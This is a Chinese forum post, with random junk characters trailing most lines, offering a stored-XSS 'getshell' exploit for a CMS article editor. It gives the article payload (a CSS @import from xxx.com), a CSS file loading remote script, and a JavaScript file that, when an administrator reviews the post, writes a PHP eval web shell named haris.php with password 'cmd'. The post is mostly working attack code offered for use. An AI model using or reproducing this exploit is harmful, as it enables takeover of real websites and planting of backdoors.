<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell) j# d, \& Y5 y3 I0 m' a
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)7 y) G1 n9 \, L+ P H' o0 Z6 w
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。+ t3 R, Q3 y+ X3 \' ~; N' O4 C
下面说说利用方法。; @ Q; d1 i4 `( Q8 j$ `7 W9 M. L; J
条件有2个:
/ J9 Z# t; J2 ]& d+ _9 ^1.开启注册
1 _) o* K7 L# q2.开启投稿9 [! ]6 u, R8 N0 K4 e
注册会员----发表文章
" ] B5 z' ~% t$ W1 `( I内容填写:& t( l% x4 a; X3 Z; y4 b3 D5 X
复制代码* a3 g& i2 w; O) y' W9 V$ l* ?( L
<style>@im\port'\http://xxx.com/xss.css';</style>+ y6 D1 d# p" @; ~4 E, q; E
新建XSS.Css% H% I3 a* V' d. {7 [% B, y) n
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.body{& N% `, w( Y" k" H
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
0 z% G1 {. _4 l ? {0 \新建xss.js 内容为
. z2 x% h# U' z' W3 b2 ]: M复制代码) B3 N! o+ p5 |
1.var request = false;
! B% W s: x8 m9 I" i# G- \" R$ T2.if(window.XMLHttpRequest) {
/ M' P# E& C$ e! b3.request = new XMLHttpRequest();
( u v# P" ]. E; X* R5 \4.if(request.overrideMimeType) {
- t& C0 {" E; e) Q- r& x5.request.overrideMimeType('text/xml');: X" F* r( j' H+ M- s0 K. g0 Z7 u
6.}
4 _- e) C$ G4 h Z7.} else if(window.ActiveXObject) {1 T/ r$ B# q `: o2 m
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];$ a( \ U6 C1 ~: v( j
9.for(var i=0; i<versions.length; i++) {
* s9 H% d2 H k- H) B8 Y: H# B$ K10.try {
9 J" K9 z S, Z) O11.request = new ActiveXObject(versions);
0 ]8 x" ~. \) g) ~5 G12.} catch(e) {}
. [) U) E. b' I13.}
% [1 Y; m1 [$ {6 U9 Z* A# U! |14.}
# w, S4 F" K. @1 ^15.xmlhttp=request;2 A2 q% _4 Y! |2 J: W: R8 q
16.function getFolder( url ){
6 M3 M6 _7 h. |& Z! z' r1 C- q17. obj = url.split('/')) M, h7 E- J2 O7 G
18. return obj[obj.length-2]1 v, t L, d5 \* N$ L
19.}( q# V% E1 H$ c: ?
20.oUrl = top.location.href;
/ c. ?# a, s" P4 k% ~4 j+ V21.u = getFolder(oUrl);
8 H e a* U0 x22.add_admin();* h; }7 W, R9 ~5 M. \
23.function add_admin(){+ |( k* f; l7 A( I1 G! G* Q1 O
24.var url= "/"+u+"/sys_sql_query.php";
+ F6 r9 d- o* K3 W6 s25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
/ R: P( ]6 b3 |+ E* L8 [+ h26.xmlhttp.open("POST", url, true);
+ ^7 ]9 V0 q3 e" h& @27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
2 N# r& \6 u) F28.xmlhttp.setRequestHeader("Content-length", params.length);
, M# k' E. q, a- s A- J5 g29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");$ \5 v# j" y6 Z+ }& Y
30.xmlhttp.send(params);
( [: e/ O/ h! N5 }( F* h# x31.}
6 f( {; \; \. x& a" F当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |